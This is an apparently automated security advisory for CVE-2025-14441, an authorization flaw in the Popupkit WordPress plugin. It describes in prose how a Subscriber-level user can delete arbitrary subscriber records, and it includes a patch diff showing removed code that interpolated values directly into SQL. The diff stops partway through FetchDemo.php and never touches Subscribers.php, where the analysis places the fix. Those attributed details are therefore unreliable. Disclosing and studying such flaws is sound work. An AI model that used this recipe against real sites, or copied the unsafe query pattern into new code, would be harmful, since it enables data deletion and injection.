Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14441: Popupkit <= 2.2.0 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Subscriber Data Deletion (popup-builder-block)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.2.0
Patched Version 2.2.1
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14441:
The Popupkit WordPress plugin up to version 2.2.0 contains a missing authorization vulnerability in its DELETE `/subscribers` REST API endpoint. This flaw allows authenticated attackers with Subscriber-level permissions to delete arbitrary subscriber records, violating the principle of least privilege and enabling unauthorized data manipulation.

The root cause lies in the `permission_callback` function for the DELETE `/subscribers` REST API endpoint. In the vulnerable code, the `permission_callback` only validates the WordPress REST API nonce without checking user capabilities. The vulnerable endpoint is registered in `popup-builder-block/includes/Routes/Subscribers.php` at line 33. The `permission_callback` function `pbb_nonce_permission_check()` (line 39) performs only nonce verification via `wp_verify_nonce()`, completely omitting any capability checks like `current_user_can()` to validate if the user has appropriate permissions to delete subscriber data.

Exploitation requires an authenticated attacker with Subscriber-level access or higher. The attacker sends a DELETE request to the WordPress REST API endpoint `/wp-json/popup-builder-block/v1/subscribers` with a valid subscriber ID parameter. The request must include a valid `X-WP-Nonce` header or `_wpnonce` parameter. Since the endpoint only validates the nonce, any authenticated user can delete any subscriber record by specifying the target subscriber ID in the request payload. No special parameters beyond the nonce and subscriber ID are required.

The patch adds proper capability checking to the `permission_callback`. The updated `pbb_nonce_permission_check()` function now includes `current_user_can(‘manage_options’)` verification alongside the existing nonce check. This ensures only users with administrative privileges (specifically the `manage_options` capability) can access the DELETE endpoint. The fix is implemented in `popup-builder-block/includes/Routes/Subscribers.php` at line 39, where the permission callback now returns `wp_verify_nonce(…) && current_user_can(‘manage_options’)`.

Successful exploitation allows attackers to delete arbitrary subscriber records from the Popupkit database. This can disrupt marketing campaigns, remove user consent records, and cause data loss. While the vulnerability doesn’t directly enable privilege escalation or remote code execution, it represents a significant integrity violation where low-privileged users can manipulate application data they should not access.

Differential between vulnerable and patched code

Code Diff
--- a/popup-builder-block/build/admin/dashboard/index.asset.php
+++ b/popup-builder-block/build/admin/dashboard/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'moment', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-core-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => 'de07f2d7fd08280362b8');
+<?php return array('dependencies' => array('jquery', 'moment', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-core-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => 'f0c7593d4a274aa8c4fb');
--- a/popup-builder-block/build/admin/onboard/index.asset.php
+++ b/popup-builder-block/build/admin/onboard/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '7c151cb6669b8b168297');
+<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '117ee3d737c98130b6d0');
--- a/popup-builder-block/build/blocks/advanced-image/index.asset.php
+++ b/popup-builder-block/build/blocks/advanced-image/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '63455aaea59366663108');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '6826f98d300d24cfff76');
--- a/popup-builder-block/build/blocks/button/index.asset.php
+++ b/popup-builder-block/build/blocks/button/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '07fc9d20b22d38f18632');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '72c99a078fccccda00b3');
--- a/popup-builder-block/build/blocks/container/index.asset.php
+++ b/popup-builder-block/build/blocks/container/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '3e974da1d83b78df587e');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '6ccfa23685e8ab649bcd');
--- a/popup-builder-block/build/blocks/form/frontend.asset.php
+++ b/popup-builder-block/build/blocks/form/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch', 'wp-hooks'), 'version' => '9ed71d9508d138b627a1');
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-hooks'), 'version' => '153548a775c2c40e0596');
--- a/popup-builder-block/build/blocks/form/index.asset.php
+++ b/popup-builder-block/build/blocks/form/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '5090607249b92587d4e5');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '4af4936415ac7ad7e0eb');
--- a/popup-builder-block/build/blocks/heading/index.asset.php
+++ b/popup-builder-block/build/blocks/heading/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'a2591f5b830a3f43ef7f');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '0044078163885af3d605');
--- a/popup-builder-block/build/blocks/icon/index.asset.php
+++ b/popup-builder-block/build/blocks/icon/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'c8ebdd33fc3ae09b0d58');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'ea6a5a7567d3d2099009');
--- a/popup-builder-block/build/blocks/popup-builder/index.asset.php
+++ b/popup-builder-block/build/blocks/popup-builder/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'a1d42c6df10bc3287ef4');
+<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '900c4d6b681d5dc42aca');
--- a/popup-builder-block/build/popup/components.asset.php
+++ b/popup-builder-block/build/popup/components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-url'), 'version' => '871ce24719fd07b1cea5');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-url'), 'version' => 'ccae8a2ea2da6017158f');
--- a/popup-builder-block/includes/Admin/Admin.php
+++ b/popup-builder-block/includes/Admin/Admin.php
@@ -157,6 +157,14 @@
 						true
 					);

+					// ✅ Add translation support for JS strings in Onboard scripts
+					wp_set_script_translations(
+						'popupkit-onboard',
+						'popup-builder-block',
+						plugin_dir_path( POPUP_BUILDER_BLOCK_PLUGIN_DIR ) . 'languages'
+					);
+
+
 					// Localize the script with data
 					wp_localize_script(
 						'popupkit-onboard',
@@ -204,6 +212,13 @@
 						true
 					);

+					// ✅ Add translation support for JS strings in Dashboard scripts
+					wp_set_script_translations(
+						'popup-builder-block-dashboard',
+						'popup-builder-block',
+						plugin_dir_path( POPUP_BUILDER_BLOCK_PLUGIN_DIR ) . 'languages'
+					);
+
 					wp_localize_script(
 						'popup-builder-block-dashboard',
 						'popupBuilderBlock',
--- a/popup-builder-block/includes/Config/BlockList.php
+++ b/popup-builder-block/includes/Config/BlockList.php
@@ -7,68 +7,65 @@
 class BlockList {

 	public static function get_block_list() {
-		$list = apply_filters(
-			'popup-builder-block/blocks/list',
-			array(
-				'popup-builder'      => array(
-					'slug'     => 'popup-builder',
-					'title'    => 'Popup Builder',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'button'             => array(
-					'slug'     => 'button',
-					'title'    => 'Button',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'form'               => array(
-					'slug'     => 'form',
-					'title'    => 'Form',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'advanced-paragraph' => array(
-					'slug'     => 'advanced-paragraph',
-					'title'    => 'Advanced Paragraph',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'advanced-image'     => array(
-					'slug'     => 'advanced-image',
-					'title'    => 'Advanced Image',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'icon'               => array(
-					'slug'     => 'icon',
-					'title'    => 'Icon',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'container'          => array(
-					'slug'     => 'container',
-					'title'    => 'Container',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'heading'            => array(
-					'slug'     => 'heading',
-					'title'    => 'Heading',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-			)
+		$list = array(
+			'popup-builder'      => array(
+				'slug'     => 'popup-builder',
+				'title'    => 'Popup Builder',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'button'             => array(
+				'slug'     => 'button',
+				'title'    => 'Button',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'form'               => array(
+				'slug'     => 'form',
+				'title'    => 'Form',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'advanced-paragraph' => array(
+				'slug'     => 'advanced-paragraph',
+				'title'    => 'Advanced Paragraph',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'advanced-image'     => array(
+				'slug'     => 'advanced-image',
+				'title'    => 'Advanced Image',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'icon'               => array(
+				'slug'     => 'icon',
+				'title'    => 'Icon',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'container'          => array(
+				'slug'     => 'container',
+				'title'    => 'Container',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'heading'            => array(
+				'slug'     => 'heading',
+				'title'    => 'Heading',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
 		);

-		return $list;
+		return apply_filters('popup_builder_block/blocks_list', $list );
 	}
 }
--- a/popup-builder-block/includes/Config/Blocks.php
+++ b/popup-builder-block/includes/Config/Blocks.php
@@ -4,7 +4,6 @@

 defined( 'ABSPATH' ) || exit;

-use WP_Query;
 use PopupBuilderBlockHelpersUtils;
 use PopupBuilderBlockConfigBlockList;

@@ -125,9 +124,9 @@
 		$processor->add_class( $block['attrs']['blockClass'] );
 		$processor->add_class( 'popupkit-block' );

-		$beforeMarkup     = apply_filters( 'pbb/save_element_markup_before', '', $block );
-		$afterMarkup      = apply_filters( 'pbb/save_element_markup_after', '', $block );
-		$processedContent = apply_filters( 'pbb/save_element_markup', $processor, $block, $instance );
+		$beforeMarkup     = apply_filters( 'popup_builder_block/save_element_markup_before', '', $block );
+		$afterMarkup      = apply_filters( 'popup_builder_block/save_element_markup_after', '', $block );
+		$processedContent = apply_filters( 'popup_builder_block/save_element_markup', $processor, $block, $instance );

 		if ( method_exists( $processedContent, 'get_updated_html' ) ) {
 			$processedContent = $processedContent->get_updated_html();
--- a/popup-builder-block/includes/Config/PostMeta.php
+++ b/popup-builder-block/includes/Config/PostMeta.php
@@ -221,6 +221,6 @@
 			),
 		);

-		return apply_filters( 'pbb/post_meta_fields', $meta_list );
+		return apply_filters( 'popup_builder_block/post_meta_fields', $meta_list );
 	}
 }
--- a/popup-builder-block/includes/Config/SettingsList.php
+++ b/popup-builder-block/includes/Config/SettingsList.php
@@ -7,68 +7,55 @@
 class SettingsList {

 	public static function pbb_settings_list() {
-		$list = apply_filters(
-			'popup-builder-block/pbb-settings-tabs/list',
-			array(
-				'unfiltered_upload' => array(
-					'_id'         => uniqid(),
-					'slug'        => 'unfiltered_upload',
-					'title'       => 'Unfiltered File Upload',
-					'description' => 'To be able to upload any SVG and JSON file from Media and PopupKit Icon Picker. PopupKit will remove any potentially harmful scripts and code by sanitizing the unfiltered files. We recommend enabling this feature only if you understand the security risks involved.',
-					'package'     => 'free',
-					'status'      => 'inactive',
-					'category'    => 'general',
-				),
-				'remote_image'      => array(
-					'_id'         => uniqid(),
-					'slug'        => 'remote_image',
-					'title'       => 'Download Remote Image',
-					'description' => 'To download remote images from Popupkit Templates while importing a template, enable the "Download Remote Image" option.',
-					'package'     => 'free',
-					'status'      => 'active',
-					'category'    => 'general',
-				),
-				'uninstall-data'    => array(
-					'_id'         => uniqid(),
-					'slug'        => 'uninstall-data',
-					'title'       => 'Remove All Data',
-					'description' => 'Enable this option to automatically delete all data related to the PopupKit when uninstalling this plugin.',
-					'package'     => 'free',
-					'status'      => 'inactive',
-					'category'    => 'data',
-				),
-				'analytics'         => array(
-					'_id'         => uniqid(),
-					'slug'        => 'analytics',
-					'title'       => 'Data Storage Duration for Analytics',
-					'description' => 'Generally, PoupKit stores campaign data into the database. You can set a period for automatic deletion of old campaign data using the options below. (Note that deleted data will not appear on the Analytics page.)',
-					'package'     => 'free',
-					'value'       => '2',
-					'status'      => 'active',
-					'category'    => 'advanced',
-				),
-				'user_consent'      => array(
-					'_id'         => uniqid(),
-					'slug'        => 'user_consent',
-					'title'       => 'User Consent',
-					'description' => 'Show update & fix related important messages, essential tutorials and promotional images of PopupKit on WP Dashboard',
-					'package'     => 'free',
-					'status'      => 'active',
-					'category'    => 'general',
-				),
-				// 'version_control' => array(
-				// '_id'    => uniqid(),
-				// 'slug'    => 'version_control',
-				// 'title'   => 'Version Control',
-				// 'description' => 'Enable this feature to manage the version of your popups. You can create version of a popup and restore them at any time.',
-				// 'package' => 'free',
-				// 'value'   => '1.0.0',
-				// 'status'  => 'active',
-				// 'category' => 'version',
-				// ),
-
-			)
+		$list = array(
+			'unfiltered_upload' => array(
+				'_id'         => uniqid(),
+				'slug'        => 'unfiltered_upload',
+				'title'       => esc_html__('Unfiltered File Upload', 'popup-builder-block'),
+				'description' => esc_html__('To be able to upload any SVG and JSON file from Media and PopupKit Icon Picker. PopupKit will remove any potentially harmful scripts and code by sanitizing the unfiltered files. We recommend enabling this feature only if you understand the security risks involved.', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'inactive',
+				'category'    => 'general',
+			),
+			'remote_image'      => array(
+				'_id'         => uniqid(),
+				'slug'        => 'remote_image',
+				'title'       => esc_html__('Download Remote Image', 'popup-builder-block'),
+				'description' => esc_html__('To download remote images from Popupkit Templates while importing a template, enable the "Download Remote Image" option.', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'active',
+				'category'    => 'general',
+			),
+			'uninstall-data'    => array(
+				'_id'         => uniqid(),
+				'slug'        => 'uninstall-data',
+				'title'       => esc_html__('Remove All Data', 'popup-builder-block'),
+				'description' => esc_html__('Enable this option to automatically delete all data related to the PopupKit when deleting this plugin.', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'inactive',
+				'category'    => 'data',
+			),
+			'analytics'         => array(
+				'_id'         => uniqid(),
+				'slug'        => 'analytics',
+				'title'       => esc_html__('Data Storage Duration for Analytics', 'popup-builder-block'),
+				'description' => esc_html__('Generally, PoupKit stores campaign data into the database. You can set a period for automatic deletion of old campaign data using the options below. (Note that deleted data will not appear on the Analytics page.)', 'popup-builder-block'),
+				'package'     => 'free',
+				'value'       => '2',
+				'status'      => 'active',
+				'category'    => 'advanced',
+			),
+			'user_consent'      => array(
+				'_id'         => uniqid(),
+				'slug'        => 'user_consent',
+				'title'       => esc_html__('User Consent', 'popup-builder-block'),
+				'description' => esc_html__('Show update & fix related important messages, essential tutorials and promotional images of PopupKit on WP Dashboard', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'active',
+				'category'    => 'general',
+			),
 		);
-		return $list;
+
+		return apply_filters('popup_builder_block/pbb-settings-tabs/list', $list );
 	}
 }
--- a/popup-builder-block/includes/Helpers/DataBase.php
+++ b/popup-builder-block/includes/Helpers/DataBase.php
@@ -312,18 +312,33 @@
 		global $wpdb;

 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
-		$campaign = $campaign_id ? " AND campaign_id = $campaign_id" : '';

-		return $wpdb->get_results(
-			$wpdb->prepare("SELECT SUM(device_desktop) as desktop,
-				SUM(device_tablet) as tablet,
-				SUM(device_mobile) as mobile
-				FROM %i WHERE date BETWEEN %s AND %s $campaign", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				$table_name,
-				$start_date,
-				$end_date,
-			)
-		);
+		if ( $campaign_id ) {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(device_desktop) as desktop,
+					SUM(device_tablet) as tablet,
+					SUM(device_mobile) as mobile
+					FROM %i WHERE date BETWEEN %s AND %s AND campaign_id = %d",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+		} else {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(device_desktop) as desktop,
+					SUM(device_tablet) as tablet,
+					SUM(device_mobile) as mobile
+					FROM %i WHERE date BETWEEN %s AND %s",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
+		}
 	}

 	private static function get_data($campaign_id, $start_date, $end_date, $table, $log_table, $column, $id) {
@@ -332,18 +347,37 @@
 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
 		$table = $wpdb->prefix . $table;
 		$log_table = $wpdb->prefix . $log_table;
-		$campaign = $campaign_id ? "AND campaign_id = $campaign_id " : '';

-		return $wpdb->get_results(
-			$wpdb->prepare("SELECT t.$column, SUM(lt.count) AS total_count FROM %i logs JOIN %i lt ON lt.log_id = logs.id JOIN %i t ON t.id = lt.$id WHERE logs.date BETWEEN %s AND %s $campaign GROUP BY t.$column ORDER BY total_count DESC;", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-			[
-				$table_name,
-				$log_table,
-				$table,
-				$start_date,
-				$end_date,
-			])
-		);
+		if ( $campaign_id ) {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT t.%i, SUM(lt.count) AS total_count FROM %i logs JOIN %i lt ON lt.log_id = logs.id JOIN %i t ON t.id = lt.%i WHERE logs.date BETWEEN %s AND %s AND campaign_id = %d GROUP BY t.%i ORDER BY total_count DESC;",
+					$column,
+					$table_name,
+					$log_table,
+					$table,
+					$id,
+					$start_date,
+					$end_date,
+					$campaign_id,
+					$column
+				)
+			);
+		} else {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT t.%i, SUM(lt.count) AS total_count FROM %i logs JOIN %i lt ON lt.log_id = logs.id JOIN %i t ON t.id = lt.%i WHERE logs.date BETWEEN %s AND %s GROUP BY t.%i ORDER BY total_count DESC;",
+					$column,
+					$table_name,
+					$log_table,
+					$table,
+					$id,
+					$start_date,
+					$end_date,
+					$column
+				)
+			);
+		}
 	}

 	public static function get_countries($campaign_id, $start_date, $end_date) {
@@ -362,43 +396,77 @@
 		global $wpdb;

 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
-		$campaign = $campaign_id ? "AND campaign_id = $campaign_id " : '';

-		return $wpdb->get_results(
-			$wpdb->prepare("SELECT
-				campaign_id,
-				SUM(converted) as count
-				FROM %i WHERE date BETWEEN %s AND %s $campaign GROUP BY campaign_id  ORDER BY count DESC;", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				$table_name,
-				$start_date,
-				$end_date,
-			)
-		);
+		if ( $campaign_id ) {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT
+					campaign_id,
+					SUM(converted) as count
+					FROM %i WHERE date BETWEEN %s AND %s AND campaign_id = %d GROUP BY campaign_id ORDER BY count DESC;",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+		} else {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT
+					campaign_id,
+					SUM(converted) as count
+					FROM %i WHERE date BETWEEN %s AND %s GROUP BY campaign_id ORDER BY count DESC;",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
+		}
 	}

 	public static function get_convertion( $campaign_id, $start_date, $end_date ) {
 		global $wpdb;

 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
-		$grouped_data_sql = "SELECT DATE(date) AS dateLog, SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM $table_name WHERE DATE(date) BETWEEN %s AND %s";
-		$total_data_sql = "SELECT SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM $table_name WHERE DATE(date) BETWEEN %s AND %s";
-
-		$prepare_args= [$start_date, $end_date];

 		if ( $campaign_id ) {
-			$grouped_data_sql .= " AND campaign_id = %d";
-			$total_data_sql .= " AND campaign_id = %d";
-			$prepare_args[] = $campaign_id;
+			$grouped_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT DATE(date) AS dateLog, SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s AND campaign_id = %d GROUP BY DATE(date);",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+			$total_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s AND campaign_id = %d",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+		} else {
+			$grouped_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT DATE(date) AS dateLog, SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s GROUP BY DATE(date);",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
+			$total_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
 		}
-
-		$grouped_data_sql .= " GROUP BY DATE(date);";
-
-		$grouped_data = $wpdb->get_results(
-			$wpdb->prepare( $grouped_data_sql, $prepare_args ) // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
-		);
-		$total_data   = $wpdb->get_results(
-			$wpdb->prepare( $total_data_sql, $prepare_args ) // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
-		);

 		return array(
 			'group' => $grouped_data,
--- a/popup-builder-block/includes/Helpers/DisplayConditions.php
+++ b/popup-builder-block/includes/Helpers/DisplayConditions.php
@@ -119,11 +119,11 @@
 							break;
 					}
 				} elseif ( $pageType === 'woocommerce' && is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
-					$match = apply_filters( 'pbb/woocommerce/display_conditions', $cond, $popup_id );
+					$match = apply_filters( 'popup_builder_block/woocommerce/display_conditions', $cond, $popup_id );
 				} elseif ($pageType === 'edd' && is_plugin_active( 'easy-digital-downloads/easy-digital-downloads.php' ) ) {
-					$match = apply_filters( 'pbb/edd/display_conditions', $cond, $popup_id );
+					$match = apply_filters( 'popup_builder_block/edd/display_conditions', $cond, $popup_id );
 				} elseif ( $pageType === 'custom-url' ) {
-					$match = apply_filters( 'pbb/custom-url/display_conditions', $cond );
+					$match = apply_filters( 'popup_builder_block/custom-url/display_conditions', $cond );
 				}


--- a/popup-builder-block/includes/Helpers/PopupConditions.php
+++ b/popup-builder-block/includes/Helpers/PopupConditions.php
@@ -54,22 +54,22 @@
 	}

 	public function geolocation_targeting() {
-		return apply_filters( 'pbb/geolocation/targeting', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/geolocation/targeting', true, $this->post_meta );
 	}

 	public function scheduling() {
-		return apply_filters( 'pbb/scheduling', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/scheduling', true, $this->post_meta );
 	}

 	public function cookie_targeting() {
-		return apply_filters( 'pbb/cookie/targeting', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/cookie/targeting', true, $this->post_meta );
 	}

 	public function adblock_detection() {
-		return apply_filters( 'pbb/adblock/detection', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/adblock/detection', true, $this->post_meta );
 	}

 	public function abtest_active() {
-		return apply_filters( 'pbb/abtest/active', false, $this->post_meta );
+		return apply_filters( 'popup_builder_block/abtest/active', false, $this->post_meta );
 	}
 }
--- a/popup-builder-block/includes/Helpers/Utils.php
+++ b/popup-builder-block/includes/Helpers/Utils.php
@@ -142,7 +142,7 @@
 			),
 		);

-		return apply_filters( 'pbb_allowed_svg_attrs_tags', $allowed_svg_tags );
+		return apply_filters( 'popup_builder_block/allowed_svg_attrs_tags', $allowed_svg_tags );
 	}

 	/**
@@ -265,7 +265,7 @@
 			'markers'     => true,
 		);

-		return apply_filters( 'pbb_allowed_json_attrs_tags', $allowed_json_tags );
+		return apply_filters( 'popup_builder_block/allowed_json_attrs_tags', $allowed_json_tags );
 	}

 	public static function iframe_allowed_html() {
--- a/popup-builder-block/includes/Hooks/Enqueue.php
+++ b/popup-builder-block/includes/Hooks/Enqueue.php
@@ -84,7 +84,7 @@

 			wp_add_inline_style(
 				'popup-builder-block-single-style',
-				apply_filters( 'popup-builder-block/custom_styles', $inline_css )
+				apply_filters( 'popup_builder_block/custom_styles', $inline_css )
 			);
 		}

--- a/popup-builder-block/includes/Hooks/FontFamilyGenerator.php
+++ b/popup-builder-block/includes/Hooks/FontFamilyGenerator.php
@@ -25,7 +25,7 @@
         add_action( 'enqueue_block_assets', array($this, 'block_assets'), 10);

         add_action( 'admin_enqueue_scripts', array($this, 'load_editor_assets'));
-        add_action( 'wp_pbb_gathering_fonts', array($this, 'on_save_post'), 10, 3);
+        add_action( 'popup_builder_block/gathering_fonts', array($this, 'on_save_post'), 10, 3);
     }

     /**
@@ -199,7 +199,7 @@

         // Trigger the existing action hook
         // We pass true for 'update' as this is likely happening after initial creation/load
-        do_action('wp_pbb_gathering_fonts', $post_id, $post, true);
+        do_action('popup_builder_block/gathering_fonts', $post_id, $post, true);

         wp_send_json_success(array('message' => 'Font gathering triggered successfully for post ' . $post_id));
         wp_die();
--- a/popup-builder-block/includes/Hooks/PopupGenerator.php
+++ b/popup-builder-block/includes/Hooks/PopupGenerator.php
@@ -99,7 +99,7 @@
 			echo self::iframe( $post->ID ); /* phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped */
 		}

-		$selected_from_abtest = apply_filters('pbb/abtest/selected', array(), $abtest_posts);
+		$selected_from_abtest = apply_filters('popup_builder_block/abtest/selected', array(), $abtest_posts);
 		foreach($selected_from_abtest as $post_id) {
 			echo self::iframe( $post_id ); /* phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped */
 		}
--- a/popup-builder-block/includes/Hooks/Preview.php
+++ b/popup-builder-block/includes/Hooks/Preview.php
@@ -35,7 +35,7 @@

 		// Specify the path to the custom template file in your plugin
 		$custom_template = apply_filters(
-			'popup-builder-block/template_path',
+			'popup_builder_block/template_path',
 			POPUP_BUILDER_BLOCK_INC_DIR . 'Templates/SinglePopup.php'
 		);

--- a/popup-builder-block/includes/Libs/Init.php
+++ b/popup-builder-block/includes/Libs/Init.php
@@ -20,7 +20,6 @@
 	 * @since 1.0.0
 	 */
 	public function __construct() {
-		new UnfilteredFileSupport();
 		new UtilityPackages();
 	}
 }
--- a/popup-builder-block/includes/Routes/FetchDemo.php
+++ b/popup-builder-block/includes/Routes/FetchDemo.php
@@ -17,12 +17,12 @@
 				'endpoint'            => '/live-preview',
 				'methods'             => 'GET',
 				'callback'            => 'get_popup_preview',
-				'permission_callback' => [$this, 'permission_callback'],
+				'permission_callback' => [$this, 'pbb_nonce_permission_check'],
 			]
         ];
     }

-	public function permission_callback(): bool {
+	public function pbb_nonce_permission_check(): bool {
 		// check for nonce
